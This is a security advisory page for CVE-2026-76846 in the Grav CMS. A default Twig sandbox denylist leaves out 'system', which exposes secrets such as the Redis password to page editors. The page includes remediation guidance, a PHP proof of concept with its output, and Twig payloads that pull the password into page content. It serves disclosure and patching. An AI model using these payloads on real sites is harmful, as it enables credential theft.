CVE-2026-76846: Grav Config_denied_paths Default List Omits `system`, Vulnerability

HIGH
Advisory Identifier: GHSA-xjw5-q542-3vmr
CVSS 7.5
CWE-522
Published
Advisory Summary

CVE-2026-76846 is a HIGH (CVSS 7.5) config_denied_paths default list omits `system`, vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Grav libraries in the Packagist ecosystem. The issue involves config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the twig sandbox when config_access is enabled. Remediation is available by upgrading affected packages to version 2.0.16.

CVE-2026-76846 at a Glance

CVE Identifier CVE-2026-76846
GHSA Identifier GHSA-xjw5-q542-3vmr
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Grav
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-76846

To remediate this vulnerability, upgrade all affected Grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

getgrav/grav fixed: 2.0.16
Upgrade getgrav/grav to 2.0.16
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for getgrav/grav

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-76846, inspect your project dependencies for Grav:

inspect dependencies for getgrav/grav

Analyze the terminal output to locate any version of Grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.16), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list (`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix. When an operator enables the documented, non-default `twig_content.config_access: true` setting (intended to safely expose low-sensitivity values like `site.title` to editor-authored Twig content), any real secret stored under `system.*` , for example `system.cache.redis.password` , is also exposed, both via `config.get(...)` and via `config.toArray()`, to any user with page-edit permission. This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist, but the shipped default denylist is incomplete. ## Environment used to verify - Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15` - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full `composer install --no-dev` run against the real repository (no mocked dependencies) so the actual `Grav\Common\Config\Config` and `Grav\Common\Twig\Sandbox\SandboxConfig` classes could be exercised directly ## Commands run to set up the verification environment ```bash git clone https://github.com/getgrav/grav.git cd grav # install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd # composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction ``` ## Proof of Concept Confirmed the real, currently-shipped config field first, rather than assuming one: ```bash grep -n "redis" -A3 system/config/system.yaml # redis: # socket: false # password: # <- system.cache.redis.password, a real field # database: grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml # cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" # type: text ``` `sandbox_test.php` , loads the real classes via the real autoloader, no mocking of `Config` or `SandboxConfig` themselves: ```php <?php require 'vendor/autoload.php'; use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig; // Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK', ], ], ], 'plugins' => [ 'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ]; $config = new Config($configTree); // exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler']; $sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths); echo "plugins.someplugin.api_key: "; var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED')); echo "system.cache.redis.password: "; var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED')); print_r($sandboxConfig->toArray()); ``` Run: ```bash php sandbox_test.php ``` Output: ``` plugins.someplugin.api_key: string(8) "REDACTED" system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK" Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK ) ) ) [site] => Array ( [title] => My Site ) ) ``` `plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in full both via targeted `get()` and via bulk `toArray()`. ## Confirming the Twig-reachable path is real `system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s methods for use inside sandboxed page-content templates: ```yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists' ``` So, with `twig_content.process_enabled: true` and `twig_content.config_access: true` both set (both documented, operator-controlled settings), a page containing: ```twig {{ config.get('system.cache.redis.password') }} ``` or ```twig {{ config.toArray() }} ``` renders the real Redis password directly into the page output for any user with page-edit permission. ## Impact Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented `config_access` opt-in (intended only to expose things like `site.title`), exposes that Redis password , and potentially other future `system.*` secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings. ## Suggested fix Add `system` to the default `config_denied_paths` list in `system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under `system.*` doesn't silently bypass the sandbox by default. ## Affected component - `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value - `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its input; the gap is in the default list passed to it) ```

CVE-2026-76846 Affected Grav Versions

1 component(s)
Fixed Versions:
2.0.16
Product / Package Ecosystem Affected Versions Fixed Version
getgrav/grav
Packagist
< 2.0.16
2.0.16

References

Frequently Asked Questions

What is CVE-2026-76846?
CVE-2026-76846 is a security vulnerability in Grav involving config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled under CWE-522: Insufficiently Protected Credentials.
Which Grav versions are affected?
Affected versions include releases prior to 2.0.16 across affected packages: getgrav/grav.
What version fixes CVE-2026-76846?
Upgrading to 2.0.16 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 2.0.16. Upgrade your dependency to 2.0.16 or later.
What is the CVSS score of CVE-2026-76846?
CVE-2026-76846 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-76846?
CVE-2026-76846 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check Packagist dependencies for CVE-2026-76846?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xjw5-q542-3vmr",
  "modified" : "2026-09-17T20:27:05Z",
  "published" : "2026-09-17T20:27:05Z",
  "aliases" : [ "CVE-2026-76846" ],
  "summary" : "Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled",
  "details" : "## Summary\n\n`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list\n(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.\nWhen an operator enables the documented, non-default `twig_content.config_access: true`\nsetting (intended to safely expose low-sensitivity values like `site.title` to\neditor-authored Twig content), any real secret stored under `system.*` , for example\n`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via\n`config.toArray()`, to any user with page-edit permission.\n\nThis is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret\nexfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,\nbut the shipped default denylist is incomplete.\n\n## Environment used to verify\n\n- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`\n- PHP 8.3.6 with curl, zip, dom, gd extensions installed\n- Full `composer install --no-dev` run against the real repository (no mocked\n  dependencies) so the actual `Grav\\Common\\Config\\Config` and\n  `Grav\\Common\\Twig\\Sandbox\\SandboxConfig` classes could be exercised directly\n\n## Commands run to set up the verification environment\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\n\n# install missing PHP extensions required by composer.json\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\n\n# composer.phar fetched directly from GitHub releases\ncurl -sL -o /tmp/composer.phar \\\n  \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\n\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n## Proof of Concept\n\nConfirmed the real, currently-shipped config field first, rather than assuming one:\n\n```bash\ngrep -n \"redis\" -A3 system/config/system.yaml\n#   redis:\n#     socket: false\n#     password:                # <- system.cache.redis.password, a real field\n#     database:\n\ngrep -n \"cache.redis.password\" -A6 system/blueprints/config/system.yaml\n#   cache.redis.password:      # <- confirmed exposed in the admin UI as \"REDIS Password\"\n#     type: text\n```\n\n`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of\n`Config` or `SandboxConfig` themselves:\n\n```php\n<?php\nrequire 'vendor/autoload.php';\n\nuse Grav\\Common\\Config\\Config;\nuse Grav\\Common\\Twig\\Sandbox\\SandboxConfig;\n\n// Real field: system.cache.redis.password\n// (system/config/system.yaml line 138; blueprint in\n// system/blueprints/config/system.yaml, \"cache.redis.password\")\n$configTree = [\n    'system' => [\n        'cache' => [\n            'driver' => 'redis',\n            'redis' => [\n                'server'   => '10.0.0.5',\n                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',\n            ],\n        ],\n    ],\n    'plugins' => [\n        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],\n    ],\n    'site' => ['title' => 'My Site'],\n];\n\n$config = new Config($configTree);\n\n// exact default list shipped in system/config/security.yaml\n$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];\n\n$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);\n\necho \"plugins.someplugin.api_key: \";\nvar_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));\n\necho \"system.cache.redis.password: \";\nvar_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));\n\nprint_r($sandboxConfig->toArray());\n```\n\nRun:\n\n```bash\nphp sandbox_test.php\n```\n\nOutput:\n\n```\nplugins.someplugin.api_key: string(8) \"REDACTED\"\n\nsystem.cache.redis.password: string(42) \"REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\"\n\nArray\n(\n    [system] => Array\n        (\n            [cache] => Array\n                (\n                    [driver] => redis\n                    [redis] => Array\n                        (\n                            [server] => 10.0.0.5\n                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\n                        )\n\n                )\n\n        )\n\n    [site] => Array\n        (\n            [title] => My Site\n        )\n\n)\n```\n\n`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in\nfull both via targeted `get()` and via bulk `toArray()`.\n\n## Confirming the Twig-reachable path is real\n\n`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s\nmethods for use inside sandboxed page-content templates:\n\n```yaml\n- class: 'Grav\\Common\\Twig\\Sandbox\\SandboxConfig'\n  methods: 'get, toarray, value, offsetget, offsetexists'\n```\n\nSo, with `twig_content.process_enabled: true` and `twig_content.config_access: true`\nboth set (both documented, operator-controlled settings), a page containing:\n\n```twig\n{{ config.get('system.cache.redis.password') }}\n```\n\nor\n\n```twig\n{{ config.toArray() }}\n```\n\nrenders the real Redis password directly into the page output for any user with\npage-edit permission.\n\n## Impact\n\nAny site that (a) uses Redis for caching with a password set, and (b) has enabled the\ndocumented `config_access` opt-in (intended only to expose things like `site.title`),\nexposes that Redis password , and potentially other future `system.*` secrets , to\nevery user with page-edit access, not just administrators. This defeats the purpose of\nthe redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific\ncombination of otherwise-legitimate settings.\n\n## Suggested fix\n\nAdd `system` to the default `config_denied_paths` list in\n`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and\nany other subtree confirmed non-sensitive) so a future secret-bearing config key added\nunder `system.*` doesn't silently bypass the sandbox by default.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value\n- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its\n  input; the gap is in the default list passed to it)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-76846"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T20:27:05Z",
    "nvd_published_at" : null
  }
}